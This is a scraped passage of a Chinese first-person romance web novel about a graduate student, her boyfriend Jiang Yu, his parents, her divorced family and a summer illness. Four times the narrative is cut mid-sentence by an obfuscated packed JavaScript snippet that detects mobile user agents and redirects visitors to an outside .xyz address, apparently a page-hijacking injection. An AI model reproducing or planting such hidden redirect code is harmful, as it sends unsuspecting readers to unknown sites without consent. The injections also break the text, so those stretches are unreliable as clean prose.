玻璃窗外的视野相当开阔,密集的摩天楼群堆叠起一片片现代建筑丛林,城市天际线尽在脚下。 天气晴朗,阳光微微刺眼,烫得我眼皮一热,我突然想到了我和蒋峪的第一次见面。 哭肿的眼睫,刺目的灯光,那个秋天,我的眼泪好像流不完,当时的我绝对想不到,被我视作打球搭子的蒋峪,会在两年后,和我有这样的光景。 太阳下,有风吹过,一转眼,现在已经是我研二即将开学的秋天了。 即将到来的这一学年,也是蒋峪直博的最后一年,他要毕业了。 不确定的未来是横亘在我们感情之间的最大变数,爱情是轻盈的,现实是落地的,总有人难逃毕业分手的魔咒。但也许我不需要过多的担心,因为起码在这一瞬间,我确认我们相爱。 丽日蓝天,秋芦飞雪一样的云团下,蒋峪举着相机,一副清隽落拓的模样,他要我笑一笑,说这样拍出来漂亮。 那一刻,我想,哪怕明年或者未来某一天,我们分开了,不再相好了,我也会记得这一刻,蒋峪带着笑意的眼神,温柔一如我们落地东京第一天,在Aoyama青山花店看到的,水培马蹄莲叶根上的露水。 生活真好,真好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417767|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' - 离开东京的前一天,我们还是在涩谷。 涩谷的LOFT相当好买,每一层都可以逛好久,我一进去,如小熊扎进了苞米地,买了超级多的手账素材和其他可爱的小东西。 蒋峪第一次见我做手账的时候,他还露出一个非常讶异的表情,当时我解读了一下那个眼神,大约就是:这也能贴? 是的,这也能贴。 蒋峪虽然带着疑问,但还是认认真真地帮我揭下了奶茶杯上面的标签。我立刻把它贴在本子上,注明蒋峪xx年xx月xx日提供。 往后,蒋峪碰到个什么他觉得有意思的,就问会我:“这个要不要贴?”。 我还记得,我第一次允许蒋峪在我手账本哪个地方写字的时候,他先写了几个字要我看看,他的字好不好看,再决定要不要写上去。 当然是很好看的了,只是有些人比较认真罢了。 逛完loft,我们去吃了一家美味的回转寿司,然后很早就回了酒店,蒋峪空了一个下午加一个晚上用来休息。 蒋峪做的旅游攻略,一般都是怎么悠闲怎么来,行程一向很空,所以我们有大量的时间闲逛和休息。我就比较喜欢这种出门的节奏,因为很舒适。如果旅游都不能休息的话,那和上班有什么区别。 回去的飞机上,我立刻宠幸了在日本新买的m5小本,开开心心地配了不同系列的内页。 我和蒋峪谁都没有说话,只是默契地一起“补”我的旅行手账,像中学时代互传纸条的高中学生,你来我往地写了好久好久。 温柔,平静,我想要的生活其实很简单。飞机越过云层上空,一同载着我无处安放的快乐,回到了我现实的世界。 11. 我记得 五月初,蒋峪论文盲审通过了。 2A1B,这是个很不错的结果,他悬了一个多月的心终于稳稳放下了。 人逢喜事精神爽,我问蒋峪现在是什么心情,他说感觉人已经置身呼伦贝尔大草原,美美和我一起骑马看小羊了。 这是他毕业旅行计划中的一环,草原暂时出发不了,但草地可以,我们决定应蒋峪妈妈邀请,一起森林公园野餐。 虽然都在本地,但蒋峪爸妈自从这学期开学后,就没有和蒋峪见过面。蒋峪不发消息,他们便不会打电话,绝不会用任何方式打扰临近毕业的儿子。 得知蒋峪的论文终于安全落地,蒋峪妈妈便发消息问我们两个要不要出来放松一下。 五月是最适合游玩的时候,阳光远没有夏天的毒辣,处处鲜花盛放,草地也暖洋洋的,去公园野餐再好不过。 蒋峪妈妈前段时间给我买了一条超级漂亮的裙子,她说要带相机拍照,我特地穿了她买的连衣裙,又打扮了一番。 蒋峪妈妈实在是一个情商很高的女人,在她的夸奖里,我俨然成了世界上最漂亮、最聪明、最会摆姿势的模特了。 在她的镜头下,我拎着裙摆,来来回回拍一个日剧跑的动作。 阳光,草地,我散开头发,头顶着蒋峪编好的花环,跑起来的时候,风轻轻柔柔地拂过我的脸,好舒服,生活如伸出触角的蜗牛,每一步都踩着幸福的忐忑。 因为蒋峪爸爸妈妈是非常好的人,所以我并不反对这种非正式“见家长”的场面。况且,同在一个城市生活,碰面避免不了,我们第一次见面也是一个很碰巧的事。 那是研一下学期,我和蒋峪出门吃饭。 读研以后,我解锁了学校周边很多的地方,我觉得,这座城市,完全是在我和蒋峪认识以后,才缓缓向我展开的。 本科的时候,因为没有什么朋友,加上异地念大学的不安,我极少出校,去过最远的地方除了高铁站,就是我们学校附近的商场。 和蒋峪在一起后,这个本地人带我转了好多地方,我现在已经对周边路线熟到不看高德地图,也能顺利回到学校的程度了 在某个商场,也有了我和蒋峪都比较爱吃的两家餐厅,蒋峪让我挑一个去吃,反正都要等位,我拉着他去了步行比较少的一家。 然后我们就遇到了蒋峪爸妈。 我和蒋峪是并肩坐在一起吃饭,坐在过道旁边的蒋峪突然抬起脸,特别自然地朝着外面的方向,喊了一声“妈”。 “妈?”我瞪大眼睛,立刻扭头看他。 一对休闲打扮的中年夫妻含笑在我们身边站定。 天知道我的心情,两个长辈往那一站,不知道为什么,我感觉特别尴尬,立刻拉着蒋峪站起来了。 “阿姨、叔叔。” 我们握了握手,后面说了什么我忘了,蒋峪爸妈说不打扰我们吃饭,随便聊了几句就分开了。 蒋峪爸爸妈妈的精气神很好,五十多岁的人,没有发福,也没有驼背,身姿还很挺拔。 蒋峪和他爸爸简直像到复制粘贴出来的一样,双眼皮,大眼睛,蒋峪他爸还顶着一头半黑半白的自然卷,可能这就是叔叔人到中年头发还很旺盛的原因之一吧。 蒋峪妈妈要圆润一点,笑眯眯的,是一个特别和气的阿姨。 其实我对蒋峪妈妈还算熟悉,虽然没有见过面,但通过蒋峪多少也了解一些。 蒋峪妈妈退休前在一家车企工作,业余喜欢写手账,弹琴,做饭,是一个兴趣很广泛的阿姨,据蒋峪透露,他们家唯一的空房间专门用来放妈妈的个人爱好。 等蒋峪爸妈走远了,他扭过头,对上我亮晶晶的眼神,“再来说说你妈妈吧。” 蒋峪说:“我有一种错觉,你对她的兴趣已经超过对我了” 我睁眼说瞎话,立刻否认道:“才没有。” - 那天晚上,我久违地想起了我妈妈。 因为这个世界好小,随便一家餐厅吃饭,都能碰上蒋峪爸妈,但却遇不到我的妈妈。 我对妈妈的印象其实已经很模糊了,甚至连她的脸都快忘了,我只记得妈妈有一双很香的手,她总是喜欢托着我的脸蛋,用一种很可爱的语气喊我的名字。 在我最清楚的记忆里,妈妈有一件很漂亮的白色大衣,她会穿黑色紧身裤搭配长靴子,是一个身材瘦削的女人形象。 从身形到外貌,她和蒋峪妈妈是两个不同的人,但是白天见到蒋峪妈妈,在握住她温热手心的时候,我心底悄悄一震,那一刻,我想到了我的妈妈。 十几年前,那双曾经捧过我脸蛋的手,是不是也这样宽厚、温暖呢? 因为一次见面,一个握手,就发散这样多情绪,这样说得我都有点怜爱自己了。 我只是不明白,为什么离异家庭的小孩非得是我?为什么偏偏是我没有妈妈呢? 关于我爸妈离婚的故事,我已经从爸爸、奶奶以及邻居的嘴里听了无数个版本。 不过可以确定的是,一切都是围绕一万块钱展开的。 二十多年前,我爸为了和我妈结婚,给了妈妈家这边一万块的彩礼。 妈妈从娘家得到这笔钱,第一次花了四千,在医院把我生出来。第二次,她要出去进修,爸爸不同意,他们便离婚了。 二十年后,我也不声不响地长到妈妈把我生出来的年龄了。我为了逃离家庭,为了向上发展,读了研,那我妈妈呢? 我妈妈跟我一样,也是因为这些东西,决绝地离开了我吗? 这点缥缈的想象,让我觉得,除了肚脐,我和妈妈在世界上的联结又多了一部分,但是,是不是只有我一个人在想这件事? 这些年,妈妈有想过我吗?她过得还好吗? 我对妈妈的离开是很后知后觉的,也许是同父异母的弟弟出生的时候,也许是一个人上下学的时候,也许是老师要求大家写“我爱我家”主题作文的时候...... 总之,我一点一点拼凑出了一个悲伤的现实,我没有妈妈了。 这种迟钝的领悟,像受伤的淤青,过后才痛。我从来没有问过我奶奶,在妈妈离开后,我有没有哭闹过,有没有吵着要妈妈。 作为在新时代成长起来的年轻女性,我无比支持妈妈离开的选择,但作为因父母离异而被抛弃的小孩,也许我应该像讨厌我爸一样,痛恨我的妈妈,可我并不愿意这样做。 即便,爸爸,奶奶和周围所有人,没有一个人说我妈的好,也不会改变这一点。 回忆可以造假,但感官不能,我记得妈妈的白色大衣,记得她颠簸的自行车后座,记得她带着香气的手,和她曾经温暖过我的一切。 我这辈子都顶着“汪意点”这个名字,我也喜欢穿白色的大衣,冬天会涂橙花味的护手霜,夏天骑自行车上学,路过每个水坑都开出一朵四溅的花...... 这怎么能让人释怀呢? 忘掉她,等于忘掉我生命的来处,那我所有痛苦挣扎过的一切都将毫无意义。 我在想这些的时候,心里说不上什么感觉,情绪也是淡淡的,但我从未有这样一刻,如此清晰地认识到,原来我一直这样想念着她,想念着我的妈妈。 但这是一种我永远得不到回应的感情,也是我永远不会宣之于口的秘密。 失去任何人,我都不会放下我自己。 - 在和蒋峪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417768|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸妈关系拉近之前,我特别严肃地和蒋峪讨论一个问题,一个关于我原生家庭的问题。 这个社会,极少有父母不会在意,孩子找一个出身离异家庭的伴侣。更何况,重组家庭是非多,这是人之常情。 我觉得蒋峪应该把这件事告诉他的父母,我并不想因信息错位而产生一些不必要的难堪。 我的态度很认真,蒋峪明白我的意思,尽管这在他眼中并不认为是什么缺点,但是他也很郑重地带回了父母的态度。 情理之中,蒋峪父母也没觉得这是一个事儿,很符合我对蒋峪家风的了解。 至于其他的,我也要蒋峪完完整整地复述给我听。 蒋峪他爸很坦诚,他比较在乎经济条件,更希望蒋峪找一个本地独生女,双独保证双方父母都有退休金,养老不用愁,土著加土著,孙辈一出生,至少比别人多继承两套房。 但是,在蒋峪谈恋爱以后,他又觉得这些标准没有那么重要了。人是有思想、有情感的生物,婚恋也不是家长按头配对的游戏,内核匹配、志趣相投远和经济条件同样牢靠。 蒋峪妈妈则不一样了,蒋峪单身到二十五六,她一度担心孩子是读博读出毛病来了。如果蒋峪能找到属于自己的幸福,她会觉得很欣慰。 蒋峪哄我开心,学他爸妈说话,“这么好的孩子,我们没理由说不喜欢。” 事情说开了,就好了,从试探到信任真是一件不容易的事情。 其实和蒋峪谈这个问题的时候,我还走神想过,如果我不是重组家庭的小孩,如果我的家庭很“完整”的话,我根本不用多此一举。 但那也只是想想,因为我宁愿有这样的家庭,宁愿自己是不被期待的小孩。起码,离开我的妈妈是如愿以偿的,再婚的爸爸也是幸福的,即便我不太愿意承认后者。 我心里是一个很骄傲的人,我努力学习,上进工作,认真地经营自己的生活,我不认为我可以随便被人看轻。所以,我没有告诉蒋峪的是,如果他父母因为我的家庭而排斥什么,那我一定会和他分手。 展示筹码的前提是信任,我并不是在赌蒋峪爸妈人有多好,而是,我想做有主动权的人。 我的家庭使我从小到大都处于被选择的境地,这种滋味并不好受,所以我绝对不要再让别人有伤害我的权利。 但人和人的相处,并不是权力的争锋,而是情感的维系。我不得不承认,在蒋峪妈妈身上,我找到了妈妈的感觉。 即便这种感觉产生的基础是,蒋峪妈妈的爱屋及乌,但付出是真心的。 蒋峪妈妈会找我聊天,我有时候也会告诉她我在准备什么证书,参加什么考试。蒋峪妈妈会不定期关心我的学习进度,转发公众号知识,还提醒我打印准考证一类的事情。 我去考试,打个车就可以解决的事,如果蒋峪的时间不合适,蒋峪妈妈就会早起送我。她经常说:“退休了就是给孩子们服务的。”,而不想我有什么心理负担。 我读研的第二段实习换到某厂,mentor是一个不太好相处的人,他什么都不管,而且指令总是很不明确。如果我去问,他会不耐烦,如果我做不好,他甚至会说:“这就是你们学校培养出来的高材生吗?” 那段时间我还是有点内耗的,以前的实习和这种高压氛围相比,简直是小打小闹,我很难以招架。 蒋峪和他爸妈经常凑一起帮我分析,我该怎样应对mt,怎样和同级相处,怎样在上级前面表现自己。虽然只是一段实习,但是没有人不重视,说什么话,做什么事,我们都有好好商量。 后来,我很快就被cue能独立汇报了,当时我心里只有一个念头,一定要请蒋峪爸爸妈妈出来吃饭! 12. 汪意点(正文完) 这一年夏天,我们并没有实施蒋峪的毕业旅行计划,因为我的身体出了一点小状况。 我这么年轻,就彻底失去了某种健康,这令我感觉自己特别渺小。术后躺在床上的时候,我偷偷哭了。 蒋峪牵着我的手,一句一句帮我罗列幸福,尽心尽力地哄了我一整天,直到我累到睡着。 世界上确实没有真正切肤的感同身受,除非对方真的经历过。爱和真诚,勉强算作止痛剂的一种,但哪怕只能减少一分因疾病带来的苦楚,也能构成陪伴的最大意义了。 蒋峪每次问我好不好的时候,我都会坚定地说好。 因为我每天都努力告诉自己,我很健康,我很坚强,我一定能克服所有困难。 蒋峪爸妈共同来探望我一次,已经退休的蒋峪妈妈更是恨不得每天都出现在医院里,因为她觉得自己和我同为女性,照顾起来比较方便。 但蒋峪担心我疲于应对长辈,特别不客气要他爸妈别老来添乱,但他们还是变着花样地操心。 中间某一天,不知道是因为高温,还是因为感染,我有些发热,在病房嘈杂的混乱里迷迷糊糊地睡着了。 睡梦里,我嘱咐蒋峪给我点冰饮,然后我感到一个温热的手心轻柔地贴在了我的额头上,耳边还有一个特别温柔的声音哄我说:“给你买了冰可乐喔。” 我安心睡着了。 我醒来的时候,病床两面的帘子都拉上了,空调打得很低,我身上盖着白色的被子,输液的手安静地固定在胸前。 掀开帘子的一角,蒋峪坐在床边的陪护凳子上,电脑放在床上,他带着耳机,一脸严肃地在工作。 听到我的动静,蒋峪立刻探进头来,“醒了吗?” 我要去厕所,蒋峪蹲在地上给我穿鞋,看着他低下来的头顶,我有一种回到父母还没有离婚前的感觉,那时候生病也好,玩闹也好,但我确信我什么都不用担心,因为我知道总有妈妈会照顾我。 即便过了快二十年,那种全然依赖别人的感受,仍淡淡地缠绕着我的心,那是一个甜蜜的美梦,我永远都忘不掉。 爱就是这样一种感觉,是一种自在、放松的安全感,就像童年坐在地毯上一个人搭积木的普通下午。 解决完个人问题出来,回到病床,我才注意到床头有一个白色的保温袋子。 我以为是外卖,然后看到蒋峪像变戏法一样,拿出几个外壳略有斑驳的保温饭盒,有米饭,蒸蛋,肉末土豆和一盒黄桃果切。 我尴尬地意识到,是蒋峪爸妈在我休息的时候来过了。 来输液前,蒋峪已经吃过晚饭,我打上针以后让蒋峪给我点外卖,他不放心,要出门买。 但我不想一个人呆在这里,哪怕他保证自己很快就回来,我也不愿意。蒋峪答应得好好的,然后他趁我睡着的时候,摇来了他爸妈...... “叔叔阿姨来过了吗?” “嗯,放心,送了就走了。” 蒋峪摆好桌子,我开始吃饭。土豆的汤汁浇在米饭上,入口软烂滑腻,超级好吃,果然做饭要看家庭基因,蒋峪爸爸妈妈做的饭和他做的一样美味。 “好吃吗?” “嗯!”我用力点点头,看着蒋峪坐在我旁边回复他爸妈的消息。 蒋峪转达情报:“他俩问你明天晚上想吃什么?” 我摇头:“太麻烦你爸妈了吧。” 蒋峪笑了笑说:“顺路的事儿,不麻烦,明天让他俩多做点,我们可以一起吃。” 再拒绝就扭捏了,我接过蒋峪的手机,发了几道想吃的菜。 回复完长辈,蒋峪探身从保温袋里捞出一个毛巾包裹着的东西,居然是一瓶冰可乐。 我后知后觉,刚才我躺着的时候,不是在做梦,是真有人答应了我。意识到这一点,我有些不好意思,感觉我的头开始一点点热起来,又要脸红了。 蒋峪狐疑地贴了贴我的脸,“又热了吗?” 我立刻摇头。 蒋峪爸妈有一种可爱的贴心,因为他们买的是崂山可乐,这点真的太细心,太可爱了。 而且,他爸妈用来包着保温的毛巾还是蒋峪自己在家里的擦脸巾。 蒋峪显然也注意到了一点,他无奈地拧开瓶子递到我嘴边,“喝吧,青岛小土著。” 吃了饭,刷了牙,蒋峪收拾餐余垃圾,然后迅速给我盖上被子,要我快睡。 我让蒋峪也在床上休息一下,地方不大,挤一挤还是可以的,但蒋峪不肯,他坚定地靠在床尾的位置,稳重如山。 我拿脚戳了戳他的腿,立刻被摁住。 “给你暖暖,快睡。” 我闭上了眼睛,感受到脚心传来的阵阵热意,如果时间永远停留在这一刻,我也会觉得非常好。 我上大四的时候,蒋峪读博三,我读研一,蒋峪读博四,我读研二,蒋峪博五毕业了。 他像一座安静的灯塔,总是状态稳定地矗立在那里,只做一件事,等待。 可能是等待毕业,也可能是些别的事情,但他总是那里。 我其实已经习惯了,不管我去哪里,出差也好,实习也罢,只要我回到学校,我总能找到蒋峪,这让我一度很安心。 我从研一开始就给蒋峪画饼,我说我会留在这里,所以如果蒋峪毕业以后,也能留在本地,这再好不过。 我觉得很幸运的是,我们没费什么力气就达成了一致,因为蒋峪也是这样想的,我们都不必为了对方,付出什么违心的代价,这很重要。 我并不排斥特别野心勃勃,特别“上进”的人,但这个人不能是我的伴侣。 我不喜欢卷,不喜欢极大的生活压力,我只想找一份过得去的工作,有一个可以互相照顾生活的伴侣,然后过很平静的生活。 蒋峪作为一个很知情知趣的人,恰好框进了我的择偶标准,这就很好了,我很满足的。 这一年,我正处于研二下学期到研三上学期的阶段。 刚读研时候放下豪言壮语时的勇气,早就消弭了一大半。 我的生活不能说特别累,但确实是非常忙碌。 导师对我们是放养型管理,也愿意放人出去实习,再加上我迫切就业的需要,我很珍惜每次的工作经历。 但周内晚上从实习单位回到学校宿舍的时候,我总有一种恍惚之感,原来又过去了一天。 还有一次,我带着单位的工牌,一路回到了宿舍,从一楼大厅镜子前走过的时候,我才发现自己累得都忘摘了。 可无论如何,我都不能放弃这些工作,因为这是我生活的必要条件。 实习工资不算多,但我毕竟是一个相对节俭人,再加上学校的读研补助,经济压力并不大。 我时常觉得学生的身份真好,每个月只要几千块就能实现经济独立,在不拿家里一分钱以后,我觉得我找回了人生的主体性。 经济独立给人以自由,这在任何情况都成立。 我记得我读研的第一个学期,蒋峪送了我一个墨水屏的阅读器,作为我研究生开学的礼物。 我在京东查了一下价格,大概是三千多块,我当时有点难过,不过不是因为蒋峪,是我想到了大学时期的一件小事。 刚上大学的时候,同宿舍的女孩子有用kindle看书的,我记得特别清楚,青春版好像只要六百多块钱,我也想买一个,这样就可以看很多书。 因为我在爸爸家的可支配空间很少,我的书除了课本就是教辅,而那些早在我高中毕业后全部打包卖掉了。 我兜里不是没有六百块钱,但比起更务实的衣食住行来说,它显然毫不值得。直到后来kindle都退出国内市场了,我也没有买。 蒋峪送我墨水屏这件事,突然就提醒了我,我读研了,经济独立了,我也可以花钱买一点平价但自己喜欢的东西了。 我从未在蒋峪面前说过这种小事,他平常用墨水屏看文献,觉得很不错,所以也给我买了一个,可能我的心永远会为这种推己及人的贴心而柔软吧。 我和蒋峪在一起这几年,在经济上,一般都是蒋峪付钱,他也不让我花钱。 因为他的经济状况比我要好,还有一点是,他大我几岁,总是不自觉承担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417769|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起“大人”的角色,但他明明也是二十岁出头的年轻人。 去年,我拿到第一笔实习工资的时候,请蒋峪吃饭,还给他买了一条漂亮的领带,蒋峪特别高兴,颇有一种我也变成大人了的自豪。 在我们的文化里,孩子上班发的第一笔工资,好像确实需要反哺父母,哪怕买一点礼物。 但我想了想,还是算了。 我爸可能都忘了,我阿姨和他结婚,最关键的一个因素是,我奶奶有退休金,不用花我爸的钱养我。但我这辈子也想不明白,我爸不愿给我花钱,那当初为什么要争夺抚养权,这显得我的人生像一个玩笑。 我本科时期,得到的第一笔奖学金,却被我爸要求,他也添点钱一起给我阿姨买个金戒指,说也让阿姨高兴高兴的时候,我就觉得他疯了。 我一个自小父母离异,二十岁出头,人生有一半时间都在住校的人,让我去缓和一个日常拿我当空气的后妈的关系,他脑袋没进水吧。 我爸自己有父有母,家庭幸福地长大,他有体会过我的感受吗?他怎么能对我讲出这样的话呢? 后来到了我研究生入学的时候,我的奖学金可以覆盖相当一部分比例的学费,但在它返还给我之前,我也得先全额支付掉应交的学费。 我爸在一线城市的中学教书,身为旅游城市的土著,他还有几套房子在出租,我自认家庭条件没有这么差,为我提供学业上的经济帮助是很轻松的,但是我爸做不到。 是的,他做不到。但是他的儿子可以穿上千块的运动品牌,他从来没有上过班的老婆可以背奢侈品包。 我是上了大学才知道,我弟弟穿的一件FILA短袖,价格能在四百到六百不等,而那是我一个星期的生活费。 在我们青岛,家里有点小钱的全职主妇,平常烫个头,做个美容,一年买个lv是很普遍的,起码我阿姨是这样的,她还会喷一种我不太喜欢的香水,每天把自己打扮得像一个发酵过头的小蛋糕。 人都是现实且自私的,我把这些事情看在眼里,要说我一点想法都没有,那是反人性的。 其实我找爸爸要钱,也是可以要到的,但是我不愿意。 因为每次要钱的时候,我都要做很久的心里建设,一遍遍地想要怎么说讨巧的话,做什么温顺的表情,还要忍受阿姨时不时飘过来的冷眼,像一条摇尾乞怜的狗。 可我现在已经长大了,能自己挣钱了,我也有尊严,这种为了几千块钱,把自尊踩在脚底下的事,我再也不要做了。 所以,我攥着手里的钱,看着工资卡里的进账,我还是想把钱留给值得的人花,哪怕是吃一顿并不实惠但美味的饭。 像刚解决掉温饱,然后才能享受的人,我也开始装点我的生活。我在宿舍养了一株茉莉,报了舞蹈培训班,看了喜欢的演唱会,和蒋峪约定好了定期的旅行。 我不再说,自己总是差一点。 我的名字叫汪意点,是我妈妈取的,出自苏轼的诗句“一点浩然气,千里快哉风”。因为“一”放在名字里有些单薄,所以改成了“意”,意有意蕴、意趣之意,最后给我取名叫“意点”。 在我因为各种各样的原因,错过某些很好的机会的时候,我就会觉得我的运气很坏,总是差那么一点点,进而迁怒于这个名字。 但现在,我又觉得,这一点点重要,但也没有那么重要了。蒋峪一直鼓励我说,我的生活会越来越好的,而我勇敢地确认着这一点。 生命之于我,如荆棘之于玫瑰的意义,它一定是痛苦与甜蜜的伴生,不管情不情愿,我都以勇气接纳了。 我一直很感谢命运的是,它给了我非常多的缺失,但又以隐秘的方式回馈了我。 而蒋峪就是那个礼物,是我人生游戏不断通关时,掉落的魔法奖励。 如果没有遇到蒋峪,我还是会努力考研,念书,找工作,照顾自己的生活。只不过要孤独一点,花费的时间更长一点,但我无比相信自己,像我之前独立生活的每一天那样。 这是我内心深处,最真诚、最坦率的表白。 ——正文完—— 13. 见家长前传 在这个夏天生了一次病后,我真正下定决心,开始保养身体。 起码要在开学前,把我的体重调整到健康的范围。 蒋峪对我的增重行动兴致勃勃,他自制了健康食谱和运动计划,决心助我一臂之力。 我每天早晚吃蒋峪做的饭,中午在单位吃,晚上配合运动,然后一个星期过去了,我的体重居然还轻了两斤。 蒋峪深受打击。 到底是哪个环节出了问题? 我觉得根本原因在于,蒋峪做的饭太健康了。他以前做饭是很舍得搁调料的,做出来也比较香,但不符合我清淡饮食的医嘱,但有些菜味道一淡也不好吃了。 还有一个原因是我比较挑食。 我不喜欢的蔬菜特别多,我不喜欢木耳、莴苣、西葫,丝瓜、白菜、山药、茄子、还有杏鲍菇、蘑菇、平菇、金针菇等一切菌菇类食物。 这样的话,给我做饭就比较麻烦,虽然我不喜欢吃,但不代表我不能吃,所以我很少对厨师提要求。 但我也不知道蒋峪什么时候发现的。 我的体重不增反降,在做遍夏天所有常见菜以后,蒋峪发出了灵魂一问:“点点,你就没有什么特别喜欢的食物吗?” 是的,没有。我只好露出了一个很无辜的笑容。 蒋峪和我不一样,他胃口健康到,几乎没有任何讨厌的东西,对于一切常见食物,只要人能吃,他就能吃。 他觉得我是对食物没有欲望,所以才这么瘦。其实,世界上就是存在这种不喜欢吃饭的人的。 后来又过了一段时间,我开学了,我又要整论文,又要实习,点外卖胡吃海喝一段时间以后,根本不需要特意增重,过劳肥会一步到位。 反倒是蒋峪经过一段时间的规律社畜生活,瘦了不少。 他从一个学校无缝衔接到另一个学校,但这次不是学生,而是社畜了。 蒋峪还是以前的样子,平常穿短袖,偶尔穿衬衫,背一个深色双肩包,里面总是放着电脑、水杯和雨伞。 这个人再也不用烫卷毛,来纪念曾经曲折的小论文了,但他的头发却渐渐开始显现来自父方亲人的遗传基因——自然卷,让我笑了好久。 从读博到上班,我问蒋峪到底是读博好,还是上班好。他想了一会给我说,那得等他同样上五年班,才能对比出来。 ……我只能说,小蒋博士确实是一个很严谨的人。 生活规律,一日三餐,一年四季,有学上,有班上,如果一切都这样简单就好了。 每当我的生活进入一段时间的平静期,我就开始焦虑,怀疑有更大的风浪、更多的波折等着我。这种不安是一种生存焦虑,更是刻在我骨子里的。 今年上半年,我存了一笔钱,我买了好多漂亮衣服,做了很多以前没做过的事情。不知道有没有人懂我这种,经济独立初期通过买买买获得的安全感。 我还写日记说,这是我人生中最幸福的一年,最自由的一年,然后我就生病了,甚至直接来了一次手术。 打一个巴掌,再给一个甜枣,我有时候会恨生活总是这样对我。 进入九月,准确来讲,是九月过半了,我过了相当一段时间的平稳日子,然后我就进入了一种新的焦虑。 备考、实习、写论文,烦恼一茬一茬的,唐僧取经般,放佛我一定得付出怎样的代价,才能换取我想要的东西。 但我却松了一口气,好像这才是我生活的本来面目。 我个人是非常讨厌这种状态的,但更难以启齿的是,这种状态竟然让我感到安全。 我不能说所有原生家庭不幸福的小孩都是我这样的,但我确实受原生家庭影响很多,这种影响多到,我有时候都不知道怎么跟蒋峪提。 自从去年研一,蒋峪就我失联事件跟我生过一次气以后,他好像如泄洪般,涌进了我与原生家庭的、旷日持久的主体拉锯战中。 我爸甚至也不知道,我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417770|184707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个暑假做了一次微创手术。蒋峪一毕业,从学生换成打工人的身份,我们不再对等,他也如真正独立自主般,开始包揽我的生活。 一如我们约定的那样,蒋峪投了非常多的简历,拒了一些offer,也参与了多次面试,最终成功找到心仪的工作,平稳落地。 我与蒋峪的关系深度绑定在一起,像两年前我写的日记那样:进入一种明确的、可视化的发展。 我一直在等,等合适的时机,告诉我爸,明年毕业以后我不会回青岛了,我也不会准备今年应届的国考省考了,我已有自己的人生规划。 因为我还在念书,蒋峪爸妈旁敲侧击地问过蒋峪我家里的意思,他们怕失了什么礼数。 实际上只有我和蒋峪心知肚明,我爸根本不知道我在谈恋爱。 我和我爸之间的关系,并没有随着时间和距离的改变而友好起来。反而是他妄想当我的指导员,只不过败于我的经济独立罢了。 我太知道我爸这种优绩主义至上者喜欢什么了,我让蒋峪准备了一份从本科写起的简历,一直写到直博期间所有成果,满满当当的。 蒋峪认为此举有自夸之嫌,我立刻告诉他听我的准没错。 在那个家,只有我爸看不上我的份,他绝不会给外人脸色看。 虽然我跟我爸不熟,我也不知道他怎么看待我恋爱的事情,但如果爸爸发难的话,我已经决议躲在蒋峪身后当乌龟了,这是他的义务。 从本科起,每年的中秋节,我都会应爸爸要求,购买学校的文创月饼寄回青岛。价格也还可以,七八十块钱一提,买的同学还挺多的。 自从我和蒋峪在一起后,这两年的月饼都是蒋峪买的,我爸也不知道。 我给蒋峪吃定心丸:“没准儿看在吃了你两年月饼的份上,我爸会表现得很正常。” 蒋峪:“借你吉言。” 我对我爸这两年的科普,搞得蒋峪如临大敌,这让我也有一点小后悔。 14. 我不想开学 我非常讨厌下雨天。 雨天意味着麻烦,意味着上学湿滑的路面,挤满人的电梯步梯,打湿的书包和裤腿,一路举伞到手酸的胳膊,一切都令我特别烦躁。 今天是一个工作日,蒋峪照常出门上班了。 我醒来的时候,听到窗外的雨声淅淅沥沥的,知道是天亮了,该起床忙正事了,但我还是不想睁开眼睛。 蒋峪上班时间忙里偷闲,打电话过来问我起床了吗? 我说没有,然后我就听到他带着笑意的声音,让我去看看几点了。 不看不知道,一看吓一跳,竟然是一点十分,下午一点十分。 要死,我立刻从床上坐了起来。 我最近在弄大论文的事情,非常不顺利,晚上失眠到凌晨才睡下。我本来是订好闹钟,打算早起看文献的,没想到直接睡到了下午。 